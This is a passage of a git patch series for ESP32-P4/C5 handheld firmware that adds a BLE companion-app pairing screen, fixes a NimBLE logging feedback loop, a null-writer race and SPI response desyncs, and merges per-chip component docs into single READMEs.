spi_bridge_stream_push(spi_id_t id, const uint8_t *data, uint8_t len) { diff --git a/firmware_p4/components/Service/host_link/host_link_ble.c b/firmware_p4/components/Service/host_link/host_link_ble.c index dbf7d9770..836f6edba 100644 --- a/firmware_p4/components/Service/host_link/host_link_ble.c +++ b/firmware_p4/components/Service/host_link/host_link_ble.c @@ -123,6 +123,10 @@ bool host_link_ble_is_connected(void) { return s_was_connected; } +bool host_link_ble_is_active(void) { + return s_want_ble_active; +} + static void status_task(void *pvParameters) { (void)pvParameters; @@ -243,7 +247,12 @@ static void on_rx_stream(spi_id_t id, const uint8_t *payload, uint8_t len) { s_rx.next_chunk_idx++; if (s_rx.next_chunk_idx >= s_rx.total_chunks) { - // Feed the host-link core only if BLE owns the session; otherwise drop. + // Claim the session for BLE on the first inbound bytes if it is free (the + // HELLO that establishes the session must not be dropped to a connect-edge + // race). If another transport already owns it, acquire fails and we drop. + if (!host_link_session_owns(ble_write)) { + host_link_session_acquire(ble_write); + } if (host_link_session_owns(ble_write)) { host_link_feed(s_rx.buf, s_rx.accumulated_len); } diff --git a/firmware_p4/components/Service/host_link/include/host_link_ble.h b/firmware_p4/components/Service/host_link/include/host_link_ble.h index c9a630b9a..74b816c83 100644 --- a/firmware_p4/components/Service/host_link/include/host_link_ble.h +++ b/firmware_p4/components/Service/host_link/include/host_link_ble.h @@ -46,6 +46,9 @@ esp_err_t host_link_ble_stop(void); /** @brief True if a companion is connected over BLE. */ bool host_link_ble_is_connected(void); +/** @brief True if the companion BLE advertising is currently requested on. */ +bool host_link_ble_is_active(void); + #ifdef __cplusplus } #endif From 357761a5a0a6518c86ac1c9ce90b48a65ae8d21a Mon Sep 17 00:00:00 2001 From: Emanuel Magalhaes Date: Mon, 8 Jun 2026 13:48:03 -0300 Subject: [PATCH 061/572] feat(ui): add companion app screen to the Bluetooth menu --- .../ui/screens/bluetooth/ui_ble_menu.c | 1 + .../companion_pairing/companion_pairing_ui.c | 106 +++++++++++++++--- .../ui/screens/settings/settings_ui.c | 1 - 3 files changed, 89 insertions(+), 19 deletions(-) diff --git a/firmware_p4/components/Applications/ui/screens/bluetooth/ui_ble_menu.c b/firmware_p4/components/Applications/ui/screens/bluetooth/ui_ble_menu.c index 7fd33e3d1..4bd7d54b1 100644 --- a/firmware_p4/components/Applications/ui/screens/bluetooth/ui_ble_menu.c +++ b/firmware_p4/components/Applications/ui/screens/bluetooth/ui_ble_menu.c @@ -34,6 +34,7 @@ typedef struct { } ui_ble_menu_item_t; static const ui_ble_menu_item_t MENU_ITEMS[] = { + {"Companion App", NULL, SCREEN_COMPANION_PAIRING}, {"Device Spam", NULL, SCREEN_BLE_SPAM_SELECT}, {"Detect Devices", NULL, -1}, {"Beacon Spam", NULL, -1}, diff --git a/firmware_p4/components/Applications/ui/screens/companion_pairing/companion_pairing_ui.c b/firmware_p4/components/Applications/ui/screens/companion_pairing/companion_pairing_ui.c index 7a4de4bfc..38374437e 100644 --- a/firmware_p4/components/Applications/ui/screens/companion_pairing/companion_pairing_ui.c +++ b/firmware_p4/components/Applications/ui/screens/companion_pairing/companion_pairing_ui.c @@ -22,25 +22,38 @@ #include "esp_log.h" +#include "buttons_gpio.h" #include "footer_ui.h" #include "header_ui.h" +#include "host_link_ble.h" #include "host_link_sec.h" #include "lv_port_indev.h" +#include "toggle_ui.h" #include "ui_manager.h" #include "ui_theme.h" static const char *TAG = "COMPANION_PAIRING_UI"; -#define QR_SIZE 120 -#define QR_ALIGN_Y (-10) -#define TITLE_ALIGN_Y 8 -#define HEX_LABEL_WIDTH 220 -#define HEX_LABEL_ALIGN_Y 78 -#define HINT_ALIGN_Y (-6) +#define QR_SIZE 104 +#define QR_ALIGN_Y 26 +#define TITLE_ALIGN_Y 6 +#define HEX_LABEL_WIDTH 220 +#define HEX_LABEL_ALIGN_Y 84 +#define STATUS_ALIGN_Y (-58) +#define ADV_ROW_ALIGN_Y (-30) +#define HINT_ALIGN_Y (-6) +#define NAV_TIMER_PERIOD_MS 50 static lv_obj_t *s_screen = NULL; +static lv_obj_t *s_status = NULL; +static toggle_ui_t s_adv_toggle; +static lv_timer_t *s_nav_timer = NULL; -static void screen_back_event_cb(lv_event_t *e); +static bool s_btn_ok_last = false; +static bool s_btn_back_last = false; + +static void nav_timer_cb(lv_timer_t *t); +static void refresh_status(void); void ui_companion_pairing_open(void) { if (s_screen != NULL) { @@ -56,7 +69,7 @@ void ui_companion_pairing_open(void) { footer_ui_create(s_screen); lv_obj_t *title = lv_label_create(s_screen); - lv_label_set_text(title, "PAIR COMPANION"); + lv_label_set_text(title, "COMPANION APP"); lv_obj_set_style_text_color(title, current_theme.text_main, 0); lv_obj_align(title, LV_ALIGN_TOP_MID, 0, TITLE_ALIGN_Y); @@ -67,15 +80,14 @@ void ui_companion_pairing_open(void) { lv_obj_t *msg = lv_label_create(s_screen); lv_label_set_text(msg, "Pairing key unavailable"); lv_obj_set_style_text_color(msg, current_theme.text_main, 0); - lv_obj_center(msg); + lv_obj_align(msg, LV_ALIGN_TOP_MID, 0, QR_ALIGN_Y); } else { lv_obj_t *qr = lv_qrcode_create(s_screen); lv_qrcode_set_size(qr, QR_SIZE); lv_qrcode_set_dark_color(qr, lv_color_black()); lv_qrcode_set_light_color(qr, lv_color_white()); lv_qrcode_update(qr, psk_hex, strlen(psk_hex)); - lv_obj_align(qr, LV_ALIGN_CENTER, 0, QR_ALIGN_Y); - // Quiet zone so scanners lock on even against a dark theme. + lv_obj_align(qr, LV_ALIGN_TOP_MID, 0, QR_ALIGN_Y); lv_obj_set_style_border_width(qr, 4, 0); lv_obj_set_style_border_color(qr, lv_color_white(), 0); @@ -85,28 +97,86 @@ void ui_companion_pairing_open(void) { lv_label_set_text(hex, psk_hex); lv_obj_set_style_text_color(hex, current_theme.text_main, 0); lv_obj_set_style_text_align(hex, LV_TEXT_ALIGN_CENTER, 0); - lv_obj_align(hex, LV_ALIGN_CENTER, 0, HEX_LABEL_ALIGN_Y); + lv_obj_align(hex, LV_ALIGN_TOP_MID, 0, HEX_LABEL_ALIGN_Y); } + // Status line (advertising + connection), refreshed by the nav timer. + s_status = lv_label_create(s_screen); + lv_obj_set_style_text_color(s_status, current_theme.text_main, 0); + lv_obj_align(s_status, LV_ALIGN_BOTTOM_MID, 0, STATUS_ALIGN_Y); + + // Advertising on/off row: label + toggle switch. + lv_obj_t *adv_label = lv_label_create(s_screen); + lv_label_set_text(adv_label, "Advertising"); + lv_obj_set_style_text_color(adv_label, current_theme.text_main, 0); + lv_obj_align(adv_label, LV_ALIGN_BOTTOM_LEFT, 18, ADV_ROW_ALIGN_Y); + + toggle_ui_create(&s_adv_toggle, s_screen); + lv_obj_align(s_adv_toggle.obj, LV_ALIGN_BOTTOM_RIGHT, -18, ADV_ROW_ALIGN_Y); + toggle_ui_set(&s_adv_toggle, host_link_ble_is_active()); + lv_obj_t *hint = lv_label_create(s_screen); - lv_label_set_text(hint, "< PRESS TO EXIT >"); + lv_label_set_text(hint, "OK: toggle advertising BACK: exit"); lv_obj_set_style_text_color(hint, current_theme.text_main, 0); lv_obj_align(hint, LV_ALIGN_BOTTOM_MID, 0, HINT_ALIGN_Y); - lv_obj_add_event_cb(s_screen, screen_back_event_cb, LV_EVENT_KEY, NULL); + refresh_status(); if (main_group != NULL) { lv_group_add_obj(main_group, s_screen); lv_group_focus_obj(s_screen); } + if (s_nav_timer == NULL) { + s_nav_timer = lv_timer_create(nav_timer_cb, NAV_TIMER_PERIOD_MS, NULL); + } + lv_screen_load(s_screen); } -static void screen_back_event_cb(lv_event_t *e) { - uint32_t key = lv_event_get_key(e); +static void refresh_status(void) { + if (s_status == NULL) { + return; + } + bool adv = host_link_ble_is_active(); + bool connected = host_link_ble_is_connected(); + lv_label_set_text_fmt(s_status, + "Advertising: %s App: %s", + adv ? "ON" : "OFF", + connected ? "connected" : "none"); + toggle_ui_set(&s_adv_toggle, adv); +} + +static void nav_timer_cb(lv_timer_t *t) { + if (lv_screen_active() != s_screen) { + lv_timer_delete(t); + s_nav_timer = NULL; + return; + } + if (ui_input_is_locked()) { + return; + } + + bool ok = ok_button_is_down(); + bool back = back_button_is_down(); - if (key == LV_KEY_ESC || key == LV_KEY_LEFT || key == LV_KEY_ENTER) { - ui_switch_screen(SCREEN_SETTINGS); + if ((back && !s_btn_back_last) || left_button_is_down()) { + s_btn_back_last = back; + ui_switch_screen(SCREEN_BLE_MENU); + return; } + + if (ok && !s_btn_ok_last) { + if (host_link_ble_is_active()) { + host_link_ble_stop(); + } else { + host_link_ble_start(); + } + refresh_status(); + } + + refresh_status(); // reflect async connection changes + + s_btn_ok_last = ok; + s_btn_back_last = back; } diff --git a/firmware_p4/components/Applications/ui/screens/settings/settings_ui.c b/firmware_p4/components/Applications/ui/screens/settings/settings_ui.c index f0d1c4278..78cbd5258 100644 --- a/firmware_p4/components/Applications/ui/screens/settings/settings_ui.c +++ b/firmware_p4/components/Applications/ui/screens/settings/settings_ui.c @@ -39,7 +39,6 @@ static const settings_item_t ITEMS[] = { {"DISPLAY", "/assets/icons/display_menu_icon.bin", SCREEN_DISPLAY_SETTINGS}, {"SOUND", NULL, SCREEN_SOUND_SETTINGS}, {"BATTERY", "/assets/icons/battery_menu_icon.bin", SCREEN_BATTERY_SETTINGS}, - {"PAIRING", NULL, SCREEN_COMPANION_PAIRING}, {"ABOUT", "/assets/icons/about_menu_icon.bin", SCREEN_ABOUT_SETTINGS}, }; #define ITEM_COUNT (sizeof(ITEMS) / sizeof(ITEMS[0])) From 48b32abff27637e05d16cfa6b6c9bb8aed758bf2 Mon Sep 17 00:00:00 2001 From: Emanuel Magalhaes Date: Tue, 9 Jun 2026 12:54:46 -0300 Subject: [PATCH 062/572] fix(host-link): silence NimBLE INFO logs to break the C5 log feedback loop --- firmware_c5/components/Service/host_link/c5_log.c | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/firmware_c5/components/Service/host_link/c5_log.c b/firmware_c5/components/Service/host_link/c5_log.c index d696205bf..87d5cdc6e 100644 --- a/firmware_c5/components/Service/host_link/c5_log.c +++ b/firmware_c5/components/Service/host_link/c5_log.c @@ -144,6 +144,11 @@ esp_err_t c5_log_init(void) { return ESP_FAIL; } + // NimBLE logs every GATT/GAP procedure at INFO. Besides the noise, those lines + // would be teed and forwarded to the companion over BLE, whose notify triggers + // another NimBLE "notify" log -> an infinite feedback loop. Keep only warnings+. + esp_log_level_set("NimBLE", ESP_LOG_WARN); + spi_bridge_stream_enable(SPI_ID_SYSTEM_LOG, true); s_prev_vprintf = esp_log_set_vprintf(log_vprintf); return ESP_OK; From f8118a029162a31eb539a129e5ed39abac64d453 Mon Sep 17 00:00:00 2001 From: Emanuel Magalhaes Date: Tue, 9 Jun 2026 12:54:46 -0300 Subject: [PATCH 063/572] fix(host-link): guard emit_frame against null writer and log re-entrancy --- .../components/Service/host_link/host_link.c | 17 ++++++++++++++++- .../Service/host_link/host_link_log.c | 9 ++++++++- .../Service/host_link/include/host_link.h | 9 +++++++++ 3 files changed, 33 insertions(+), 2 deletions(-) diff --git a/firmware_p4/components/Service/host_link/host_link.c b/firmware_p4/components/Service/host_link/host_link.c index e0cf33d34..6160ae874 100644 --- a/firmware_p4/components/Service/host_link/host_link.c +++ b/firmware_p4/components/Service/host_link/host_link.c @@ -39,6 +39,7 @@ static const char *TAG = "HOST_LINK"; static host_link_writer_t s_writer = NULL; static host_link_writer_t s_ble_writer = NULL; // identifies the BLE transport +static volatile bool s_emitting = false; // true while a frame is being written out static uint8_t s_acc[HOST_LINK_MAX_FRAME]; // reassembly accumulator static size_t s_acc_len = 0; static uint32_t s_tx_counter = 0; @@ -105,6 +106,10 @@ void host_link_reset_rx(void) { s_acc_len = 0; } +bool host_link_is_emitting(void) { + return s_emitting; +} + void host_link_feed(const uint8_t *data, size_t len) { if (data == NULL || len == 0) return; @@ -327,6 +332,15 @@ static void emit_frame(uint8_t type, uint8_t category, uint8_t op, const uint8_t return; // never overflow the frame buffer xSemaphoreTake(s_lock, portMAX_DELAY); + // Re-read the writer under the lock: a transport disconnect (session_release) + // can null it between the top-of-function check and the call below, which + // would turn the indirect call into a jump to NULL. + host_link_writer_t writer = s_writer; + if (writer == NULL) { + xSemaphoreGive(s_lock); + return; + } + s_emitting = true; // the writer runs blocking SPI that may log; gate the tee uint32_t counter = s_tx_counter++; frame[0] = HOST_LINK_MAGIC0; @@ -349,7 +363,8 @@ static void emit_frame(uint8_t type, uint8_t category, uint8_t op, const uint8_t if (authed) host_link_sec_sign_outbound(frame + 2, span - 2, frame + span); - s_writer(frame, out_len); + writer(frame, out_len); + s_emitting = false; xSemaphoreGive(s_lock); } diff --git a/firmware_p4/components/Service/host_link/host_link_log.c b/firmware_p4/components/Service/host_link/host_link_log.c index 3b33a7cd6..747d8aca8 100644 --- a/firmware_p4/components/Service/host_link/host_link_log.c +++ b/firmware_p4/components/Service/host_link/host_link_log.c @@ -32,7 +32,7 @@ #define HOST_LOG_LINE_MAX 240 // bytes of stripped text kept per line #define HOST_LOG_QUEUE_DEPTH 24 // ring slots (drop-oldest beyond this) -#define HOST_LOG_TASK_STK 4096 +#define HOST_LOG_TASK_STK 6144 // emit -> ble_write -> SPI command chain is deep #define HOST_LOG_TASK_PRIO 4 typedef struct { @@ -84,6 +84,13 @@ static uint16_t strip_ansi(const char *src, int src_len, char *dst, uint16_t dst } static int log_vprintf(const char *fmt, va_list args) { + // A frame is being forwarded right now: the forward runs blocking SPI that can + // log (timeouts), which would re-enter this hook on the forwarder's stack + // (overflow) and amplify (forwarded log -> more SPI -> more timeout logs). + // Suppress entirely until the forward completes. + if (host_link_is_emitting()) + return 0; + // 1. Preserve the local dev console with an untouched copy of the args. int ret = 0; if (s_prev_vprintf != NULL) { diff --git a/firmware_p4/components/Service/host_link/include/host_link.h b/firmware_p4/components/Service/host_link/include/host_link.h index 330c51782..64fe97673 100644 --- a/firmware_p4/components/Service/host_link/include/host_link.h +++ b/firmware_p4/components/Service/host_link/include/host_link.h @@ -111,6 +111,15 @@ void host_link_feed(const uint8_t *data, size_t len); */ void host_link_reset_rx(void); +/** + * @brief True while a device → app frame is being written out. The log tee uses + * this to skip capturing logs emitted during a forward: that forward runs + * blocking SPI which can log (e.g. timeouts), and re-entering the tee on + * the forwarder's stack overflows it and amplifies (forwarded log → more + * SPI → more timeout logs). + */ +bool host_link_is_emitting(void); + /** * @brief Bring up the USB CDC-ACM companion transport: ensures the TinyUSB * composite is installed, initializes the CDC interface, registers the From 43cade5727bb7b126b3ae56d2624ffb0fe5b1c8e Mon Sep 17 00:00:00 2001 From: Emanuel Magalhaes Date: Tue, 9 Jun 2026 12:54:46 -0300 Subject: [PATCH 064/572] fix(spi-bridge): raise WiFi timeout for BLE-coex scans and reject mismatched responses --- .../Service/spi_bridge/include/spi_timeouts.h | 6 +++++- firmware_p4/components/Service/spi_bridge/spi_bridge.c | 10 +++++++++- 2 files changed, 14 insertions(+), 2 deletions(-) diff --git a/firmware_p4/components/Service/spi_bridge/include/spi_timeouts.h b/firmware_p4/components/Service/spi_bridge/include/spi_timeouts.h index 93920e122..ed94f0218 100644 --- a/firmware_p4/components/Service/spi_bridge/include/spi_timeouts.h +++ b/firmware_p4/components/Service/spi_bridge/include/spi_timeouts.h @@ -30,7 +30,11 @@ extern "C" { #endif #define SPI_TIMEOUT_DEFAULT_MS 1000 -#define SPI_TIMEOUT_WIFI_MS 20000 +// WiFi scans run much slower while BLE is active (Bluetooth coexistence forces a +// longer per-channel dwell), so a full scan with a companion connected can take +// ~30 s. Keep the master's wait above that or the command times out mid-scan and +// the late response desyncs the bridge. +#define SPI_TIMEOUT_WIFI_MS 40000 #ifdef __cplusplus } diff --git a/firmware_p4/components/Service/spi_bridge/spi_bridge.c b/firmware_p4/components/Service/spi_bridge/spi_bridge.c index b9527d63f..a9b5d3da9 100644 --- a/firmware_p4/components/Service/spi_bridge/spi_bridge.c +++ b/firmware_p4/components/Service/spi_bridge/spi_bridge.c @@ -216,7 +216,15 @@ esp_err_t spi_bridge_send_command(spi_id_t id, } if (spi_header_cmd(resp) != id) { - ESP_LOGW(TAG, "Response ID mismatch (req 0x%04X, resp 0x%04X)", id, spi_header_cmd(resp)); + // A previous command timed out (e.g. a long scan) and its response arrived + // late, landing on this read. Reject it rather than handing the caller the + // wrong data; the slave has already re-armed its RX, so the next command + // resyncs on its own. + ESP_LOGW(TAG, "Response ID mismatch (req 0x%04X, resp 0x%04X), dropping", id, + spi_header_cmd(resp)); + s_is_command_in_flight = false; + xSemaphoreGive(s_spi_mutex); + return ESP_ERR_INVALID_RESPONSE; } if (resp->length > SPI_MAX_PAYLOAD) { From eb7a1398916c59d639adab7217e206e392f52036 Mon Sep 17 00:00:00 2001 From: Emanuel Magalhaes Date: Tue, 9 Jun 2026 15:38:08 -0300 Subject: [PATCH 065/572] docs: merge per-component p4/c5 docs into one README with # P4/# C5 sections --- docs/README.md | 26 +- docs/buttons_gpio/README.md | 131 ++ docs/buttons_gpio/c5.md | 64 - docs/buttons_gpio/p4.md | 64 - docs/host_link/README.md | 142 +- docs/host_link/app-guide.md | 6 +- docs/host_link/c5.md | 53 - docs/host_link/p4.md | 79 -- docs/sd_card/{c5.md => README.md} | 953 ++++++++++++- docs/sd_card/p4.md | 949 ------------- docs/spi/{p4.md => README.md} | 58 +- docs/spi/c5.md | 53 - docs/spi_bridge/README.md | 604 ++++++++ docs/spi_bridge/c5.md | 75 - docs/spi_bridge/p4.md | 523 ------- docs/storage_api/{p4.md => README.md} | 453 +++++- docs/storage_api/c5.md | 449 ------ docs/storage_assets/README.md | 1244 +++++++++++++++++ docs/storage_assets/c5.md | 621 -------- docs/storage_assets/p4.md | 621 -------- docs/storage_vfs/README.md | 1096 +++++++++++++++ docs/storage_vfs/c5.md | 547 -------- docs/storage_vfs/p4.md | 547 -------- docs/wifi/{p4.md => README.md} | 189 ++- docs/wifi/c5.md | 184 --- .../components/Drivers/buttons_gpio/README.md | 2 +- firmware_c5/components/Drivers/spi/README.md | 2 +- .../components/Service/host_link/README.md | 2 +- .../components/Service/sd_card/README.md | 2 +- .../components/Service/spi_bridge/README.md | 2 +- .../components/Service/storage_api/README.md | 2 +- .../Service/storage_assets/README.md | 2 +- .../components/Service/storage_vfs/README.md | 2 +- firmware_c5/components/Service/wifi/README.md | 2 +- .../components/Drivers/buttons_gpio/README.md | 2 +- firmware_p4/components/Drivers/spi/README.md | 2 +- .../components/Service/host_link/README.md | 2 +- .../components/Service/sd_card/README.md | 2 +- .../components/Service/spi_bridge/README.md | 2 +- .../components/Service/storage_api/README.md | 2 +- .../Service/storage_assets/README.md | 2 +- .../components/Service/storage_vfs/README.md | 2 +- firmware_p4/components/Service/wifi/README.md | 2 +- 43 files changed, 4898 insertions(+), 4869 deletions(-) create mode 100644 docs/buttons_gpio/README.md delete mode 100644 docs/buttons_gpio/c5.md delete mode 100644 docs/buttons_gpio/p4.md delete mode 100644 docs/host_link/c5.md delete mode 100644 docs/host_link/p4.md rename docs/sd_card/{c5.md => README.md} (50%) delete mode 100644 docs/sd_card/p4.md rename docs/spi/{p4.md => README.md} (50%) delete mode 100644 docs/spi/c5.md delete mode 100644 docs/spi_bridge/c5.md delete mode 100644 docs/spi_bridge/p4.md rename docs/storage_api/{p4.md => README.md} (52%) delete mode 100644 docs/storage_api/c5.md create mode 100644 docs/storage_assets/README.md delete mode 100644 docs/storage_assets/c5.md delete mode 100644 docs/storage_assets/p4.md create mode 100644 docs/storage_vfs/README.md delete mode 100644 docs/storage_vfs/c5.md delete mode 100644 docs/storage_vfs/p4.md rename docs/wifi/{p4.md => README.md} (50%) delete mode 100644 docs/wifi/c5.md diff --git a/docs/README.md b/docs/README.md index 47686c63a..49d253102 100644 --- a/docs/README.md +++ b/docs/README.md @@ -2,13 +2,13 @@ Aggregated, canonical copies of the project documentation, one directory per component. Each component's in-tree README points back to its copy here. -Components that exist in both firmwares are split into `p4.md` / `c5.md`; -cross-firmware features keep their overview in the directory's `README.md`. +Components present in both firmwares keep `# P4` and `# C5` sections in one +README.md, separated by `---`. ## Featured -- [host_link/](host_link/README.md) - companion app link: overview, [app implementation guide](host_link/app-guide.md), [protocol spec](host_link/protocol.md), per-firmware refs -- [spi_bridge/](spi_bridge/README.md) - P4<->C5 SPI bridge: architecture + per-firmware refs +- [host_link/](host_link/README.md) - companion app link: overview, [app implementation guide](host_link/app-guide.md), [protocol spec](host_link/protocol.md), per-firmware sections +- [spi_bridge/](spi_bridge/README.md) - P4<->C5 SPI bridge: architecture + per-firmware sections ## All components @@ -16,25 +16,25 @@ cross-firmware features keep their overview in the directory's `README.md`. |-----------|------| | `bad_usb` | [README.md](bad_usb/README.md) | | `bluetooth` | [README.md](bluetooth/README.md) | -| `buttons_gpio` | [c5.md](buttons_gpio/c5.md) [p4.md](buttons_gpio/p4.md) | +| `buttons_gpio` | [README.md](buttons_gpio/README.md) | | `c5_flasher` | [README.md](c5_flasher/README.md) | | `cc1101` | [README.md](cc1101/README.md) | | `console` | [README.md](console/README.md) | | `dns_server` | [README.md](dns_server/README.md) | | `esp_now` | [README.md](esp_now/README.md) | | `espnow_chat` | [README.md](espnow_chat/README.md) | -| `host_link` | [app-guide.md](host_link/app-guide.md) [c5.md](host_link/c5.md) [p4.md](host_link/p4.md) [protocol.md](host_link/protocol.md) [README.md](host_link/README.md) | +| `host_link` | [app-guide.md](host_link/app-guide.md) [protocol.md](host_link/protocol.md) [README.md](host_link/README.md) | | `http_server` | [README.md](http_server/README.md) | | `lvgl_port` | [README.md](lvgl_port/README.md) | | `ota` | [README.md](ota/README.md) | -| `sd_card` | [c5.md](sd_card/c5.md) [p4.md](sd_card/p4.md) | -| `spi` | [c5.md](spi/c5.md) [p4.md](spi/p4.md) | -| `spi_bridge` | [c5.md](spi_bridge/c5.md) [p4.md](spi_bridge/p4.md) [README.md](spi_bridge/README.md) | +| `sd_card` | [README.md](sd_card/README.md) | +| `spi` | [README.md](spi/README.md) | +| `spi_bridge` | [README.md](spi_bridge/README.md) | | `st7789` | [README.md](st7789/README.md) | -| `storage_api` | [c5.md](storage_api/c5.md) [p4.md](storage_api/p4.md) | -| `storage_assets` | [c5.md](storage_assets/c5.md) [p4.md](storage_assets/p4.md) | -| `storage_vfs` | [c5.md](storage_vfs/c5.md) [p4.md](storage_vfs/p4.md) | +| `storage_api` | [README.md](storage_api/README.md) | +| `storage_assets` | [README.md](storage_assets/README.md) | +| `storage_vfs` | [README.md](storage_vfs/README.md) | | `SubGhz` | [README.md](SubGhz/README.md) | | `tusb_desc` | [README.md](tusb_desc/README.md) | | `ui` | [README.md](ui/README.md) | -| `wifi` | [c5.md](wifi/c5.md) [p4.md](wifi/p4.md) | +| `wifi` | [README.md](wifi/README.md) | diff --git a/docs/buttons_gpio/README.md b/docs/buttons_gpio/README.md new file mode 100644 index 000000000..ea6bf8bbd --- /dev/null +++ b/docs/buttons_gpio/README.md @@ -0,0 +1,131 @@ +# P4 + +This component handles the physical input buttons of the Highboy device. It provides functions to initialize GPIOs and poll button states, supporting both "is pressed" (continuous) and "was pressed" (one-shot/flag) logic. + +## Overview + +- **Location:** `components/Drivers/buttons_gpio/` +- **Header:** `include/buttons_gpio.h` +- **Dependencies:** `driver/gpio`, `pin_def.h` + +## Configuration + +- **Input Mode:** `GPIO_MODE_INPUT` with internal Pull-Up enabled. +- **Active Level:** Low (`0`). Buttons connect to ground when pressed. +- **Debounce/Polling:** Handled via `buttons_task` or direct atomic flag checks. + +## Key Mapping + +| Button | Function | +| :--- | :--- | +| **BTN_UP** | Up Navigation | +| **BTN_DOWN** | Down Navigation | +| **BTN_LEFT** | Left / Decrease | +| **BTN_RIGHT** | Right / Increase | +| **BTN_OK** | Enter / Select | +| **BTN_BACK** | Back / Escape | + +## API Reference + +### Initialization + +#### `buttons_init` +```c +void buttons_init(void); +``` +Configures the GPIO pins defined in `pin_def.h` as inputs with pull-ups. Initializes the state of all buttons. + +### State Checking (One-shot) +These functions return `true` **only once** per press. They rely on the `buttons_task` or interrupt logic (conceptually) setting a flag, and these functions reading/clearing it atomically. + +- `bool up_button_pressed(void)` +- `bool down_button_pressed(void)` +- `bool left_button_pressed(void)` +- `bool right_button_pressed(void)` +- `bool ok_button_pressed(void)` +- `bool back_button_pressed(void)` + +### State Checking (Continuous) +These functions return the **current raw state** of the button. Returns `true` as long as the button is held down. + +- `bool up_button_is_down(void)` +- `bool down_button_is_down(void)` +- `bool left_button_is_down(void)` +- `bool right_button_is_down(void)` +- `bool ok_button_is_down(void)` +- `bool back_button_is_down(void)` + +### Tasks + +#### `buttons_task` +```c +void buttons_task(void); +``` +Updates the internal state of the buttons. This should be called periodically (e.g., in a FreeRTOS task or timer callback) to detect state changes (edges) and set the `pressed_flag`. + +--- + +# C5 + +This component handles the physical input buttons of the Highboy device. It provides functions to initialize GPIOs and poll button states, supporting both "is pressed" (continuous) and "was pressed" (one-shot/flag) logic. + +## Overview + +- **Location:** `components/Drivers/buttons_gpio/` +- **Header:** `include/buttons_gpio.h` +- **Dependencies:** `driver/gpio`, `pin_def.h` + +## Configuration + +- **Input Mode:** `GPIO_MODE_INPUT` with internal Pull-Up enabled. +- **Active Level:** Low (`0`). Buttons connect to ground when pressed. +- **Debounce/Polling:** Handled via `buttons_task` or direct atomic flag checks. + +## Key Mapping + +| Button | Function | +| :--- | :--- | +| **BTN_UP** | Up Navigation | +| **BTN_DOWN** | Down Navigation | +| **BTN_LEFT** | Left / Decrease | +| **BTN_RIGHT** | Right / Increase | +| **BTN_OK** | Enter / Select | +| **BTN_BACK** | Back / Escape | + +## API Reference + +### Initialization + +#### `buttons_init` +```c +void buttons_init(void); +``` +Configures the GPIO pins defined in `pin_def.h` as inputs with pull-ups. Initializes the state of all buttons. + +### State Checking (One-shot) +These functions return `true` **only once** per press. They rely on the `buttons_task` or interrupt logic (conceptually) setting a flag, and these functions reading/clearing it atomically. + +- `bool up_button_pressed(void)` +- `bool down_button_pressed(void)` +- `bool left_button_pressed(void)` +- `bool right_button_pressed(void)` +- `bool ok_button_pressed(void)` +- `bool back_button_pressed(void)` + +### State Checking (Continuous) +These functions return the **current raw state** of the button. Returns `true` as long as the button is held down. + +- `bool up_button_is_down(void)` +- `bool down_button_is_down(void)` +- `bool left_button_is_down(void)` +- `bool right_button_is_down(void)` +- `bool ok_button_is_down(void)` +- `bool back_button_is_down(void)` + +### Tasks + +#### `buttons_task` +```c +void buttons_task(void); +``` +Updates the internal state of the buttons. This should be called periodically (e.g., in a FreeRTOS task or timer callback) to detect state changes (edges) and set the `pressed_flag`. diff --git a/docs/buttons_gpio/c5.md b/docs/buttons_gpio/c5.md deleted file mode 100644 index 7820397e8..000000000 --- a/docs/buttons_gpio/c5.md +++ /dev/null @@ -1,64 +0,0 @@ -# GPIO Buttons Driver - -This component handles the physical input buttons of the Highboy device. It provides functions to initialize GPIOs and poll button states, supporting both "is pressed" (continuous) and "was pressed" (one-shot/flag) logic. - -## Overview - -- **Location:** `components/Drivers/buttons_gpio/` -- **Header:** `include/buttons_gpio.h` -- **Dependencies:** `driver/gpio`, `pin_def.h` - -## Configuration - -- **Input Mode:** `GPIO_MODE_INPUT` with internal Pull-Up enabled. -- **Active Level:** Low (`0`). Buttons connect to ground when pressed. -- **Debounce/Polling:** Handled via `buttons_task` or direct atomic flag checks. - -## Key Mapping - -| Button | Function | -| :--- | :--- | -| **BTN_UP** | Up Navigation | -| **BTN_DOWN** | Down Navigation | -| **BTN_LEFT** | Left / Decrease | -| **BTN_RIGHT** | Right / Increase | -| **BTN_OK** | Enter / Select | -| **BTN_BACK** | Back / Escape | - -## API Reference - -### Initialization - -#### `buttons_init` -```c -void buttons_init(void); -``` -Configures the GPIO pins defined in `pin_def.h` as inputs with pull-ups. Initializes the state of all buttons. - -### State Checking (One-shot) -These functions return `true` **only once** per press. They rely on the `buttons_task` or interrupt logic (conceptually) setting a flag, and these functions reading/clearing it atomically. - -- `bool up_button_pressed(void)` -- `bool down_button_pressed(void)` -- `bool left_button_pressed(void)` -- `bool right_button_pressed(void)` -- `bool ok_button_pressed(void)` -- `bool back_button_pressed(void)` - -### State Checking (Continuous) -These functions return the **current raw state** of the button. Returns `true` as long as the button is held down. - -- `bool up_button_is_down(void)` -- `bool down_button_is_down(void)` -- `bool left_button_is_down(void)` -- `bool right_button_is_down(void)` -- `bool ok_button_is_down(void)` -- `bool back_button_is_down(void)` - -### Tasks - -#### `buttons_task` -```c -void buttons_task(void); -``` -Updates the internal state of the buttons. This should be called periodically (e.g., in a FreeRTOS task or timer callback) to detect state changes (edges) and set the `pressed_flag`. diff --git a/docs/buttons_gpio/p4.md b/docs/buttons_gpio/p4.md deleted file mode 100644 index 7820397e8..000000000 --- a/docs/buttons_gpio/p4.md +++ /dev/null @@ -1,64 +0,0 @@ -# GPIO Buttons Driver - -This component handles the physical input buttons of the Highboy device. It provides functions to initialize GPIOs and poll button states, supporting both "is pressed" (continuous) and "was pressed" (one-shot/flag) logic. - -## Overview - -- **Location:** `components/Drivers/buttons_gpio/` -- **Header:** `include/buttons_gpio.h` -- **Dependencies:** `driver/gpio`, `pin_def.h` - -## Configuration - -- **Input Mode:** `GPIO_MODE_INPUT` with internal Pull-Up enabled. -- **Active Level:** Low (`0`). Buttons connect to ground when pressed. -- **Debounce/Polling:** Handled via `buttons_task` or direct atomic flag checks. - -## Key Mapping - -| Button | Function | -| :--- | :--- | -| **BTN_UP** | Up Navigation | -| **BTN_DOWN** | Down Navigation | -| **BTN_LEFT** | Left / Decrease | -| **BTN_RIGHT** | Right / Increase | -| **BTN_OK** | Enter / Select | -| **BTN_BACK** | Back / Escape | - -## API Reference - -### Initialization - -#### `buttons_init` -```c -void 